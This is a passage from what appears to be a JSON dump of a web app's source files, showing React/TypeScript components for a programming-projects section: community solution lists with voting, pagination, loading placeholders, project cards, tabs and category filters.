setShowLeavingRoadmapModal] = useState<\n    ListProjectSolutionsResponse['data'][number] | null\n  >(null);\n\n  const loadSolutions = async (\n    page = 1,\n    language: string = '',\n    sort: string = 'rating',\n  ) => {\n    const { response, error } = await httpGet<ListProjectSolutionsResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-list-project-solutions/${projectId}`,\n      {\n        currPage: page,\n        ...(language ? { languages: language } : {}),\n        sort,\n      },\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to load project solutions');\n      setIsLoading(false);\n      return;\n    }\n\n    setSolutions(response);\n  };\n\n  const handleSubmitVote = async (\n    solutionId: string,\n    voteType: AllowedVoteType,\n  ) => {\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    pageProgressMessage.set('Submitting vote');\n    const { response, error } = await httpPost(\n      `${import.meta.env.PUBLIC_API_URL}/v1-vote-project/${solutionId}`,\n      {\n        voteType,\n      },\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to submit vote');\n      pageProgressMessage.set('');\n      return;\n    }\n\n    pageProgressMessage.set('');\n    setSolutions((prev) => {\n      if (!prev) {\n        return prev;\n      }\n\n      return {\n        ...prev,\n        data: prev.data.map((solution) => {\n          if (solution._id === solutionId) {\n            return {\n              ...solution,\n              upvotes: response?.upvotes || 0,\n              downvotes: response?.downvotes || 0,\n              voteType,\n            };\n          }\n\n          return solution;\n        }),\n      };\n    });\n  };\n\n  useEffect(() => {\n    const queryParams = getUrlParams() as QueryParams;\n    setPageState({\n      currentPage: +(queryParams.p || '1'),\n      language: queryParams.l || '',\n      sort: queryParams.s || 'rating',\n    });\n  }, []);\n\n  useEffect(() => {\n    setIsLoading(true);\n    if (!pageState.currentPage) {\n      return;\n    }\n\n    if (\n      pageState.currentPage !== 1 ||\n      pageState.language !== '' ||\n      pageState.sort !== 'rating'\n    ) {\n      setUrlParams({\n        p: String(pageState.currentPage),\n        l: pageState.language,\n        s: pageState.sort,\n      });\n    } else {\n      deleteUrlParam('p');\n      deleteUrlParam('l');\n      deleteUrlParam('s');\n    }\n\n    loadSolutions(\n      pageState.currentPage,\n      pageState.language,\n      pageState.sort,\n    ).finally(() => {\n      setIsLoading(false);\n    });\n  }, [pageState]);\n\n  const isEmpty = solutions?.data.length === 0;\n  if (isEmpty) {\n    return <EmptySolutions projectId={projectId} />;\n  }\n\n  const leavingRoadmapModal = showLeavingRoadmapModal ? (\n    <LeavingRoadmapWarningModal\n      onClose={() => setShowLeavingRoadmapModal(null)}\n      repositoryUrl={showLeavingRoadmapModal?.repositoryUrl!}\n    />\n  ) : null;\n\n  const selectedLanguage = pageState.language;\n\n  const setSelectedLanguage = (language: string) => {\n    setPageState((prev) => ({\n      ...prev,\n      language: prev.language === language ? '' : language,\n    }));\n  };\n\n  return (\n    <div className=\"mb-4 overflow-hidden rounded-lg border bg-white p-3 sm:p-5\">\n      {leavingRoadmapModal}\n      <div className=\"relative mb-5 hidden items-center justify-between sm:flex\">\n        <div>\n          <h1 className=\"mb-1 text-xl font-semibold\">\n            {project.title} Solutions\n          </h1>\n          <p className=\"text-sm text-gray-500\">\n            Solutions submitted by the community\n          </p>\n        </div>\n        {!isLoading && (\n          <div className=\"flex shrink-0 items-center gap-2\">\n            <SortProjects\n              selectedSort={pageState.sort}\n              onSelectSort={(sort) => {\n                setPageState((prev) => ({\n                  ...prev,\n                  sort,\n                }));\n              }}\n            />\n            <SelectLanguages\n              projectId={projectId}\n              selectedLanguage={selectedLanguage}\n              onSelectLanguage={(language) => {\n                setPageState((prev) => ({\n                  ...prev,\n                  language: prev.language === language ? '' : language,\n                }));\n              }}\n            />\n          </div>\n        )}\n      </div>\n\n      {isLoading ? (\n        <LoadingSolutions />\n      ) : (\n        <>\n          <div className=\"flex min-h-[500px] flex-col divide-y divide-gray-100\">\n            {solutions?.data.map((solution, counter) => (\n              <ProjectSolutionRow\n                key={solution._id}\n                solution={solution}\n                counter={counter}\n                onVote={handleSubmitVote}\n                onVisitSolution={setShowLeavingRoadmapModal}\n                onLanguageClick={setSelectedLanguage}\n              />\n            ))}\n          </div>\n\n          {(solutions?.totalPages || 0) > 1 && (\n            <div className=\"mt-4\">\n              <Pagination\n                totalPages={solutions?.totalPages || 1}\n                currPage={solutions?.currPage || 1}\n                perPage={solutions?.perPage || 21}\n                totalCount={solutions?.totalCount || 0}\n                onPageChange={(page) => {\n                  setPageState({\n                    ...pageState,\n                    currentPage: page,\n                  });\n                }}\n              />\n            </div>\n          )}\n        </>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/LoadingSolutions.tsx",
    "content": "import { isMobileScreen } from '../../lib/is-mobile.ts';\n\nexport function LoadingSolutions() {\n  const totalCount = isMobileScreen() ? 3 : 11;\n\n  const loadingRow = (\n    <li className=\"flex min-h-[78px] animate-pulse flex-wrap items-center justify-between overflow-hidden rounded-md bg-gray-200 sm:min-h-[44px] sm:animate-none sm:rounded-none sm:bg-transparent\">\n      <span className=\"flex items-center\">\n        <span className=\"block h-[28px] w-[28px] animate-pulse rounded-full bg-gray-200\"></span>\n        <span\n          className={`ml-2 block h-[26px] w-[350px] animate-pulse rounded-full bg-gray-200`}\n        ></span>\n      </span>\n      <span className=\"flex items-center gap-2\">\n        <span\n          className={\n            'animated-pulse h-[26px] w-[80px] rounded-full bg-gray-200'\n          }\n        ></span>\n        <span\n          className={\n            'animated-pulse h-[26px] w-[113px] rounded-full bg-gray-200'\n          }\n        ></span>\n      </span>\n    </li>\n  );\n\n  return (\n    <ul className=\"flex min-h-[500px] flex-col gap-2 divide-y sm:gap-0\">\n      {loadingRow}\n      {loadingRow}\n      {loadingRow}\n      {loadingRow}\n      {loadingRow}\n      {loadingRow}\n      {loadingRow}\n      {loadingRow}\n      {loadingRow}\n      {loadingRow}\n      {loadingRow}\n    </ul>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/ProjectCard.tsx",
    "content": "import { Badge } from '../Badge.tsx';\nimport { Users } from 'lucide-react';\nimport { formatCommaNumber } from '../../lib/number.ts';\nimport { cn } from '../../lib/classname.ts';\nimport type { OfficialProjectDocument } from '../../queries/official-project.ts';\n\ntype ProjectCardProps = {\n  project: OfficialProjectDocument;\n  userCount?: number;\n  status?: 'completed' | 'started' | 'none';\n};\n\nconst badgeVariants = {\n  beginner: 'yellow',\n  intermediate: 'green',\n  advanced: 'blue',\n} as const;\n\nexport function ProjectCard(props: ProjectCardProps) {\n  const { project, userCount = 0, status } = props;\n  const { difficulty, title, description, slug, topics = [] } = project;\n\n  const isLoadingStatus = status === undefined;\n  const userStartedCount =\n    status !== 'none' && userCount === 0 ? userCount + 1 : userCount;\n\n  return (\n    <a\n      href={`/projects/${slug}`}\n      className=\"flex flex-col rounded-md border bg-white p-3 transition-colors hover:border-gray-300 hover:bg-gray-50\"\n    >\n      <span className=\"flex justify-between gap-1.5\">\n        <Badge variant={badgeVariants[difficulty]} text={difficulty} />\n        {topics?.map((topic, index) => (\n          <Badge key={`${topic}-${index}`} variant={'grey'} text={topic} />\n        ))}\n      </span>\n      <span className=\"my-3 flex min-h-[100px] flex-col\">\n        <span className=\"mb-1 font-medium\">{title}</span>\n        <span className=\"text-sm text-gray-500\">{description}</span>\n      </span>\n      <span className=\"flex min-h-[22px] items-center justify-between gap-2 text-xs text-gray-400\">\n        {isLoadingStatus ? (\n          <>\n            <span className=\"h-5 w-24 animate-pulse rounded-sm bg-gray-200\" />{' '}\n            <span className=\"h-5 w-20 animate-pulse rounded-sm bg-gray-200\" />{' '}\n          </>\n        ) : (\n          <>\n            <span className=\"flex items-center gap-1.5\">\n              <Users className=\"size-3.5\" />\n              {userStartedCount > 0 ? (\n                <>{formatCommaNumber(userStartedCount)} Started</>\n              ) : (\n                <>Be the first to solve!</>\n              )}\n            </span>\n\n            {status !== 'none' && (\n              <span\n                className={cn(\n                  'flex items-center gap-1.5 rounded-full border border-current px-2 py-0.5 capitalize',\n                  status === 'completed' && 'text-green-500',\n                  status === 'started' && 'text-yellow-500',\n                )}\n              >\n                <span\n                  className={cn('inline-block h-2 w-2 rounded-full', {\n                    'bg-green-500': status === 'completed',\n                    'bg-yellow-500': status === 'started',\n                  })}\n                />\n                {status}\n              </span>\n            )}\n          </>\n        )}\n      </span>\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/ProjectContent.tsx",
    "content": "import { guideRenderer } from '../../lib/guide-renderer';\nimport type { OfficialProjectDocument } from '../../queries/official-project';\n\ntype ProjectContentProps = {\n  project: OfficialProjectDocument;\n};\n\nexport function ProjectContent(props: ProjectContentProps) {\n  const { project } = props;\n\n  const isContentString = typeof project?.content === 'string';\n\n  return (\n    <div\n      className=\"prose prose-h2:mb-3 prose-h2:mt-5 prose-h3:mb-1 prose-h3:mt-5 prose-p:mb-2 prose-blockquote:font-normal prose-blockquote:text-gray-500 prose-pre:my-3 prose-ul:my-3.5 prose-hr:my-5 prose-li:[&>p]:m-0 max-w-full [&>ul>li]:my-1\"\n      {...(isContentString\n        ? {\n            dangerouslySetInnerHTML: { __html: project?.content },\n          }\n        : {\n            children: guideRenderer.render(project?.content),\n          })}\n    />\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/ProjectSolutionModal.tsx",
    "content": "import { ArrowUpRight, ThumbsDown, ThumbsUp } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { useToast } from '../../hooks/use-toast';\nimport { deleteUrlParam, getUrlParams } from '../../lib/browser';\nimport { getRelativeTimeString } from '../../lib/date';\nimport { httpGet, httpPost } from '../../lib/http';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { pageProgressMessage } from '../../stores/page';\nimport { Modal } from '../Modal';\nimport { GitHubIcon } from '../ReactIcons/GitHubIcon';\nimport { ModalLoader } from '../UserProgress/ModalLoader';\nimport { type AllowedVoteType } from './ListProjectSolutions';\nimport { VoteButton } from './VoteButton';\n\ntype UserProjectSolutionResponse = {\n  id?: string;\n\n  startedAt?: Date;\n  submittedAt?: Date;\n  repositoryUrl?: string;\n\n  upvotes?: number;\n  downvotes?: number;\n\n  voteType?: AllowedVoteType | 'none';\n  user: {\n    id: string;\n    name: string;\n    avatar: string;\n  };\n};\n\ntype ProjectSolutionModalProps = {\n  projectId: string;\n  projectTitle: string;\n  projectDescription: string;\n};\n\nexport function ProjectSolutionModal(props: ProjectSolutionModalProps) {\n  const { projectId, projectTitle, projectDescription } = props;\n\n  const { u: userId } = getUrlParams();\n  if (!userId) {\n    return null;\n  }\n\n  const toast = useToast();\n  const [isLoading, setIsLoading] = useState(true);\n  const [error, setError] = useState('');\n  const [solution, setSolution] = useState<UserProjectSolutionResponse>();\n\n  const loadUserProjectSolution = async () => {\n    setIsLoading(true);\n    setError('');\n\n    const { response, error } = await httpGet<UserProjectSolutionResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-project-solution/${projectId}/${userId}`,\n    );\n\n    if (error || !response) {\n      setError(error?.message || 'Something went wrong');\n      setIsLoading(false);\n      return;\n    }\n\n    setSolution(response);\n    setIsLoading(false);\n  };\n\n  const handleSubmitVote = async (\n    solutionId: string,\n    voteType: AllowedVoteType,\n  ) => {\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    pageProgressMessage.set('Submitting vote');\n    const { response, error } = await httpPost(\n      `${import.meta.env.PUBLIC_API_URL}/v1-vote-project/${solutionId}`,\n      {\n        voteType,\n      },\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to submit vote');\n      pageProgressMessage.set('');\n      return;\n    }\n\n    pageProgressMessage.set('');\n    setSolution((prev) => {\n      if (!prev) {\n        return prev;\n      }\n\n      return {\n        ...prev,\n        upvotes: response?.upvotes || 0,\n        downvotes: response?.downvotes || 0,\n        voteType,\n      };\n    });\n  };\n\n  useEffect(() => {\n    loadUserProjectSolution().finally();\n  }, []);\n\n  if (isLoading || error) {\n    return (\n      <ModalLoader\n        text=\"Loading project solution...\"\n        isLoading={isLoading}\n        error={error}\n      />\n    );\n  }\n\n  const avatar = solution?.user.avatar;\n\n  return (\n    <Modal\n      onClose={() => {\n        deleteUrlParam('u');\n        window.location.reload();\n      }}\n      wrapperClassName={'max-w-lg'}\n      bodyClassName={'h-auto'}\n    >\n      <div className=\"relative p-6\">\n        <h1 className=\"mb-1 text-balance text-2xl font-bold text-gray-900\">\n          {projectTitle}\n        </h1>\n        <p className=\"text-balance text-sm text-gray-600\">\n          {projectDescription}\n        </p>\n\n        <div className=\"my-5 rounded-lg bg-gray-100 p-4\">\n          <div className=\"flex items-center gap-3\">\n            <img\n              src={\n                avatar\n                  ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${avatar}`\n                  : '/img/default-avatar.png'\n              }\n              alt={solution?.user?.name}\n              className=\"h-12 w-12 rounded-full border-2 border-white shadow-md\"\n            />\n            <div>\n              <h2 className=\"text-lg font-semibold text-gray-900\">\n                {solution?.user.name}'s Solution\n              </h2>\n              <p className=\"text-sm text-gray-600\">\n                Submitted their solution{' '}\n                {getRelativeTimeString(solution?.submittedAt!)}\n              </p>\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-between\">\n          <a\n            className=\"flex items-center gap-2 rounded-full bg-black px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-gray-800\"\n            href={solution?.repositoryUrl}\n            target=\"_blank\"\n          >\n            <GitHubIcon className=\"h-5 w-5 text-current\" />\n            View Solution on GitHub\n            <ArrowUpRight className=\"h-4 w-4\" />\n          </a>\n\n          <div className=\"flex overflow-hidden rounded-full border\">\n            <VoteButton\n              icon={ThumbsUp}\n              isActive={solution?.voteType === 'upvote'}\n              count={solution?.upvotes || 0}\n              onClick={() => handleSubmitVote(solution?.id!, 'upvote')}\n            />\n            <VoteButton\n              icon={ThumbsDown}\n              isActive={solution?.voteType === 'downvote'}\n              count={solution?.downvotes || 0}\n              hideCount={true}\n              onClick={() => handleSubmitVote(solution?.id!, 'downvote')}\n            />\n          </div>\n        </div>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/ProjectSolutionRow.tsx",
    "content": "import { ThumbsDown, ThumbsUp } from 'lucide-react';\nimport { getRelativeTimeString } from '../../lib/date';\nimport { VoteButton } from './VoteButton';\nimport { GitHubIcon } from '../ReactIcons/GitHubIcon';\nimport type {\n  AllowedVoteType,\n  ProjectStatusDocument,\n} from './ListProjectSolutions';\n\nexport const submittedAlternatives = [\n  'submitted their solution',\n  'got it done',\n  'submitted their take',\n  'finished the project',\n  'submitted their work',\n  'completed the project',\n  'got it done',\n  'delivered their project',\n  'handed in their solution',\n  'provided their deliverables',\n  'submitted their approach',\n  'sent in their project',\n  'presented their take',\n  'shared their completed task',\n  'submitted their approach',\n  'completed it',\n  'finalized their solution',\n  'delivered their approach',\n  'turned in their project',\n  'submitted their final draft',\n  'delivered their solution',\n];\n\ntype ProjectSolutionRowProps = {\n  solution: ProjectStatusDocument & {\n    user: {\n      id: string;\n      name: string;\n      avatar: string;\n    };\n    voteType?: AllowedVoteType | 'none';\n  };\n  counter: number;\n  onVote: (solutionId: string, voteType: AllowedVoteType) => void;\n  onVisitSolution: (solution: ProjectSolutionRowProps['solution']) => void;\n  onLanguageClick?: (language: string) => void;\n};\n\nexport function ProjectSolutionRow(props: ProjectSolutionRowProps) {\n  const { solution, counter, onVote, onVisitSolution, onLanguageClick } = props;\n\n  const avatar = solution.user.avatar || '';\n\n  return (\n    <div className=\"group flex flex-col border-gray-100 px-3 py-2.5 text-sm hover:bg-gray-50/50 sm:flex-row sm:justify-between\">\n      <div className=\"flex min-w-0 items-start gap-3\">\n        <img\n          src={\n            avatar\n              ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${avatar}`\n              : '/img/default-avatar.png'\n          }\n          alt={solution.user.name}\n          className=\"h-7 w-7 shrink-0 rounded-full sm:h-8 sm:w-8\"\n        />\n        <div className=\"min-w-0 flex-auto\">\n          <div className=\"flex flex-wrap items-baseline gap-x-1.5 gap-y-0.5\">\n            <span className=\"max-w-[150px] truncate font-medium text-gray-900 sm:max-w-[180px]\">\n              {solution.user.name}\n            </span>\n            <span className=\"hidden truncate text-xs text-gray-500 sm:block sm:text-sm\">\n              {submittedAlternatives[counter % submittedAlternatives.length] ||\n                'submitted their solution'}\n            </span>\n            <span\n              className=\"text-xs text-gray-400\"\n              title={new Date(solution?.submittedAt!).toLocaleString()}\n            >\n              · {getRelativeTimeString(solution?.submittedAt!)}\n            </span>\n          </div>\n\n          <div className=\"mt-2.5 flex gap-1.5\">\n            <div className=\"flex gap-1\">\n              <span className=\"flex shrink-0 overflow-hidden rounded-full border\">\n                <VoteButton\n                  icon={ThumbsUp}\n                  isActive={solution?.voteType === 'upvote'}\n                  count={solution.upvotes || 0}\n                  onClick={() => {\n                    onVote(solution._id!, 'upvote');\n                  }}\n                />\n\n                <VoteButton\n                  icon={ThumbsDown}\n                  isActive={solution?.voteType === 'downvote'}\n                  count={solution.downvotes || 0}\n                  hideCount={true}\n                  onClick={() => {\n                    onVote(solution._id!, 'downvote');\n                  }}\n                />\n              </span>\n            </div>\n\n            <button\n              className=\"flex items-center gap-1 rounded-full border px-2 py-1 text-xs text-black transition-colors hover:border-black hover:bg-black hover:text-white\"\n              onClick={() => {\n                onVisitSolution(solution);\n              }}\n            >\n              <GitHubIcon className=\"h-3.5 w-3.5 text-current\" />\n              <span>Visit Solution</span>\n            </button>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"mt-2.5 hidden sm:mt-0 sm:block sm:pl-4\">\n        {solution.languages && solution.languages.length > 0 && (\n          <div className=\"flex flex-wrap items-center gap-1.5\">\n            {solution.languages.slice(0, 2).map((lang) => (\n              <button\n                key={lang}\n                onClick={() => onLanguageClick?.(lang)}\n                className=\"inline-flex items-center rounded-md border border-gray-200 bg-white px-2 py-0.5 text-xs font-medium text-gray-700 transition-colors hover:border-gray-300 hover:bg-gray-50 hover:text-gray-900\"\n              >\n                {lang}\n              </button>\n            ))}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/ProjectTabs.tsx",
    "content": "import { cn } from '../../lib/classname';\nimport { ArrowLeft, Blocks, type LucideIcon, Text } from 'lucide-react';\n\nexport const allowedProjectTabs = ['details', 'solutions'] as const;\nexport type AllowedProjectTab = (typeof allowedProjectTabs)[number];\n\ntype TabButtonProps = {\n  text: string;\n  icon: LucideIcon;\n  smText?: string;\n  isActive?: boolean;\n  href: string;\n};\n\nfunction TabButton(props: TabButtonProps) {\n  const { text, icon: ButtonIcon, smText, isActive, href } = props;\n\n  return (\n    <a\n      href={href}\n      className={cn('relative flex items-center gap-1 p-2', {\n        'text-black': isActive,\n        'opacity-40 hover:opacity-90': !isActive,\n      })}\n    >\n      {ButtonIcon && <ButtonIcon className=\"mr-1 inline-block h-4 w-4\" />}\n      <span className=\"hidden sm:inline\">{text}</span>\n      {smText && <span className=\"sm:hidden\">{smText}</span>}\n\n      {isActive && (\n        <span className=\"absolute right-0 bottom-0 left-0 h-0.5 translate-y-1/2 rounded-t-md bg-black\"></span>\n      )}\n    </a>\n  );\n}\n\ntype ProjectTabsProps = {\n  activeTab: AllowedProjectTab;\n  projectId: string;\n  parentRoadmapId?: string;\n  hasNoSubmission?: boolean;\n};\n\nexport function ProjectTabs(props: ProjectTabsProps) {\n  const {\n    activeTab,\n    parentRoadmapId,\n    projectId,\n    hasNoSubmission = false,\n  } = props;\n\n  return (\n    <div className=\"my-3 flex flex-row flex-wrap items-center gap-1.5 overflow-hidden rounded-md border bg-white px-2.5 text-sm\">\n      <a\n        href={`/${parentRoadmapId}/projects`}\n        className={\n          '-ml-1.5 flex items-center rounded-md bg-gray-300 px-2 py-1.5 text-xs tracking-wide text-black hover:bg-gray-400/60'\n        }\n      >\n        <ArrowLeft className=\"mr-1 inline-block h-3.5 w-3.5\" strokeWidth={2} />\n        <span className=\"hidden sm:inline\">Back to Projects</span>\n      </a>\n      <TabButton\n        text={'Project Detail'}\n        icon={Text}\n        smText={'Details'}\n        isActive={activeTab === 'details'}\n        href={`/projects/${projectId}`}\n      />\n      {!hasNoSubmission && (\n        <TabButton\n          text={'Community Solutions'}\n          icon={Blocks}\n          smText={'Solutions'}\n          isActive={activeTab === 'solutions'}\n          href={`/projects/${projectId}/solutions`}\n        />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/ProjectsList.tsx",
    "content": "import { ProjectCard } from './ProjectCard.tsx';\nimport { Trash2 } from 'lucide-react';\nimport { cn } from '../../lib/classname.ts';\nimport { useEffect, useMemo, useState } from 'react';\n\nimport {\n  deleteUrlParam,\n  getUrlParams,\n  setUrlParams,\n} from '../../lib/browser.ts';\nimport { httpPost } from '../../lib/http.ts';\nimport { isLoggedIn } from '../../lib/jwt.ts';\nimport {\n  allowedOfficialProjectDifficulty,\n  type AllowedOfficialProjectDifficulty,\n  type OfficialProjectDocument,\n} from '../../queries/official-project.ts';\n\ntype DifficultyButtonProps = {\n  difficulty: AllowedOfficialProjectDifficulty;\n  isActive?: boolean;\n  onClick?: () => void;\n};\n\nfunction DifficultyButton(props: DifficultyButtonProps) {\n  const { difficulty, onClick, isActive } = props;\n\n  return (\n    <button\n      onClick={onClick}\n      className={cn(\n        'rounded-md border bg-white px-3 py-1 text-sm capitalize transition-colors hover:border-gray-300 hover:bg-gray-100',\n        {\n          'border-black bg-gray-100 hover:border-black hover:bg-gray-100 hover:text-black':\n            isActive,\n        },\n      )}\n    >\n      {difficulty}\n    </button>\n  );\n}\n\nexport type ListProjectStatusesResponse = Record<\n  string,\n  'completed' | 'started'\n>;\n\ntype ProjectsListProps = {\n  projects: OfficialProjectDocument[];\n  userCounts: Record<string, number>;\n};\n\nexport function ProjectsList(props: ProjectsListProps) {\n  const { projects, userCounts } = props;\n\n  const { difficulty: urlDifficulty } = getUrlParams();\n  const [difficulty, setDifficulty] = useState<\n    AllowedOfficialProjectDifficulty | undefined\n  >(urlDifficulty);\n  const [projectStatuses, setProjectStatuses] =\n    useState<ListProjectStatusesResponse>();\n\n  const loadProjectStatuses = async () => {\n    if (!isLoggedIn()) {\n      setProjectStatuses({});\n      return;\n    }\n\n    const projectIds = projects.map((project) => project.slug);\n    const { response, error } = await httpPost(\n      `${import.meta.env.PUBLIC_API_URL}/v1-list-project-statuses`,\n      {\n        projectIds,\n      },\n    );\n\n    if (error || !response) {\n      console.error(error);\n      return;\n    }\n\n    setProjectStatuses(response);\n  };\n\n  const projectsByDifficulty: Map<\n    AllowedOfficialProjectDifficulty,\n    OfficialProjectDocument[]\n  > = useMemo(() => {\n    const result = new Map<\n      AllowedOfficialProjectDifficulty,\n      OfficialProjectDocument[]\n    >();\n\n    for (const project of projects) {\n      const difficulty = project.difficulty;\n\n      if (!result.has(difficulty)) {\n        result.set(difficulty, []);\n      }\n\n      result.get(difficulty)?.push(project);\n    }\n\n    return result;\n  }, [projects]);\n\n  const matchingProjects = difficulty\n    ? projectsByDifficulty.get(difficulty) || []\n    : projects;\n\n  useEffect(() => {\n    loadProjectStatuses().finally();\n  }, []);\n\n  return (\n    <div className=\"flex flex-col\">\n      <div className=\"my-2.5 flex items-center justify-between\">\n        <div className=\"flex flex-wrap gap-1\">\n          {allowedOfficialProjectDifficulty.map((projectDifficulty) => (\n            <DifficultyButton\n              key={projectDifficulty}\n              onClick={() => {\n                setDifficulty(projectDifficulty);\n                setUrlParams({ difficulty: projectDifficulty });\n              }}\n              difficulty={projectDifficulty}\n              isActive={projectDifficulty === difficulty}\n            />\n          ))}\n\n          {difficulty && (\n            <button\n              onClick={() => {\n                setDifficulty(undefined);\n                deleteUrlParam('difficulty');\n              }}\n              className=\"flex items-center gap-1.5 rounded-md border border-red-500 bg-transparent px-2 py-0.5 text-sm text-red-500 transition-colors hover:bg-red-500 hover:text-white\"\n            >\n              <Trash2 className=\"h-3.5 w-3.5\" strokeWidth={2.25} />\n              Clear\n            </button>\n          )}\n        </div>\n      </div>\n      <div className=\"mb-24 grid grid-cols-1 gap-1.5 sm:grid-cols-2 lg:grid-cols-3\">\n        {matchingProjects.length === 0 && (\n          <div className=\"col-span-3 rounded-md border bg-white p-4 text-left text-sm text-gray-500\">\n            <p>No matching projects found.</p>\n          </div>\n        )}\n\n        {matchingProjects\n          .sort((project) => {\n            return project.difficulty === 'beginner'\n              ? -1\n              : project.difficulty === 'intermediate'\n                ? 0\n                : 1;\n          })\n          .sort((a, b) => {\n            return a.order - b.order;\n          })\n          .map((matchingProject) => {\n            const count = userCounts[matchingProject?.slug] || 0;\n            return (\n              <ProjectCard\n                key={matchingProject.slug}\n                project={matchingProject}\n                userCount={count}\n                status={\n                  projectStatuses\n                    ? projectStatuses?.[matchingProject.slug] || 'none'\n                    : undefined\n                }\n              />\n            );\n          })}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/ProjectsPage.tsx",
    "content": "import { useEffect, useMemo, useRef, useState } from 'react';\nimport { cn } from '../../lib/classname.ts';\nimport { Box, Filter, Group, X } from 'lucide-react';\nimport {\n  deleteUrlParam,\n  getUrlParams,\n  setUrlParams,\n} from '../../lib/browser.ts';\nimport { CategoryFilterButton } from '../Roadmaps/CategoryFilterButton.tsx';\nimport { ProjectCard } from './ProjectCard.tsx';\nimport {\n  allowedOfficialProjectDifficulty,\n  type OfficialProjectDocument,\n} from '../../queries/official-project.ts';\n\ntype ProjectGroup = {\n  id: string;\n  title: string;\n  projects: OfficialProjectDocument[];\n};\n\ntype ProjectsPageProps = {\n  roadmapsProjects: ProjectGroup[];\n  userCounts: Record<string, number>;\n};\n\nexport function ProjectsPage(props: ProjectsPageProps) {\n  const { roadmapsProjects, userCounts } = props;\n  const allUniqueProjectIds = new Set<string>(\n    roadmapsProjects.flatMap((group) =>\n      group.projects.map((project) => project.slug),\n    ),\n  );\n  const allUniqueProjects = useMemo(\n    () =>\n      Array.from(allUniqueProjectIds)\n        .map((id) =>\n          roadmapsProjects\n            .flatMap((group) => group.projects)\n            .find((project) => project.slug === id),\n        )\n        .filter(Boolean) as OfficialProjectDocument[],\n    [allUniqueProjectIds],\n  );\n\n  const [activeGroup, setActiveGroup] = useState<string>('');\n  const [visibleProjects, setVisibleProjects] =\n    useState<OfficialProjectDocument[]>(allUniqueProjects);\n\n  const [isFilterOpen, setIsFilterOpen] = useState(false);\n\n  useEffect(() => {\n    const { g } = getUrlParams() as { g: string };\n    if (!g) {\n      return;\n    }\n\n    setActiveGroup(g);\n    const group = roadmapsProjects.find((group) => group.id === g);\n    if (!group) {\n      return;\n    }\n\n    setVisibleProjects(group.projects);\n  }, []);\n\n  const sortedVisibleProjects = useMemo(\n    () =>\n      visibleProjects.sort((a, b) => {\n        const projectADifficulty = a?.difficulty || 'beginner';\n        const projectBDifficulty = b?.difficulty || 'beginner';\n        return (\n          allowedOfficialProjectDifficulty.indexOf(projectADifficulty) -\n          allowedOfficialProjectDifficulty.indexOf(projectBDifficulty)\n        );\n      }),\n    [visibleProjects],\n  );\n\n  const activeGroupDetail = roadmapsProjects.find(\n    (group) => group.id === activeGroup,\n  );\n\n  const requiredSortOrder = [\n    'Frontend',\n    'Backend',\n    'DevOps',\n    'Full-stack',\n    'JavaScript',\n    'Go',\n    'Python',\n    'Node.js',\n    'Java',\n  ];\n\n  return (\n    <div className=\"border-t bg-gray-100\">\n      <button\n        onClick={() => {\n          setIsFilterOpen(!isFilterOpen);\n        }}\n        id=\"filter-button\"\n        className={cn(\n          '-mt-1 flex w-full items-center justify-center bg-gray-300 py-2 text-sm text-black focus:shadow-none focus:outline-0 sm:hidden',\n          {\n            'mb-3': !isFilterOpen,\n          },\n        )}\n      >\n        {!isFilterOpen && <Filter size={13} className=\"mr-1\" />}\n        {isFilterOpen && <X size={13} className=\"mr-1\" />}\n        Categories\n      </button>\n      <div className=\"relative container flex flex-col gap-4 sm:flex-row\">\n        <div\n          className={cn(\n            'hidden w-full flex-col from-gray-100 sm:w-[160px] sm:shrink-0 sm:border-r sm:bg-linear-to-l sm:pt-6',\n            {\n              'hidden sm:flex': !isFilterOpen,\n              'z-50 flex': isFilterOpen,\n            },\n          )}\n        >\n          <div className=\"absolute top-0 -mx-4 w-full bg-white pb-0 shadow-xl sm:sticky sm:top-10 sm:mx-0 sm:bg-transparent sm:pb-20 sm:shadow-none\">\n            <div className=\"grid grid-cols-1\">\n              <CategoryFilterButton\n                onClick={() => {\n                  setActiveGroup('');\n                  setVisibleProjects(allUniqueProjects);\n                  setIsFilterOpen(false);\n                  deleteUrlParam('g');\n                }}\n                category={'All Projects'}\n                selected={activeGroup === ''}\n              />\n\n              {roadmapsProjects\n                .sort((a, b) => {\n                  const aIndex = requiredSortOrder.indexOf(a.title);\n                  const bIndex = requiredSortOrder.indexOf(b.title);\n\n                  if (aIndex === -1 && bIndex === -1) {\n                    return a.title.localeCompare(b.title);\n                  }\n\n                  if (aIndex === -1) {\n                    return 1;\n                  }\n\n                  if (bIndex === -1) {\n                    return -1;\n                  }\n                  return aIndex - bIndex;\n                })\n                .map((group) => (\n                  <CategoryFilterButton\n                    key={group.id}\n                    onClick={() => {\n                      setActiveGroup(group.id);\n                      setIsFilterOpen(false);\n                      document\n                        ?.getElementById('filter-button')\n                        ?.scrollIntoView();\n                      setVisibleProjects(group.projects);\n                      setUrlParams({ g: group.id });\n                    }}\n                    category={group.title}\n                    selected={activeGroup === group.id}\n                  />\n                ))}\n            </div>\n          </div>\n        </div>\n        <div className=\"flex grow flex-col pt-2 pb-20 sm:pt-6\">\n          <div className=\"mb-4 flex items-center justify-between text-sm text-gray-500\">\n            <h3 className={'flex 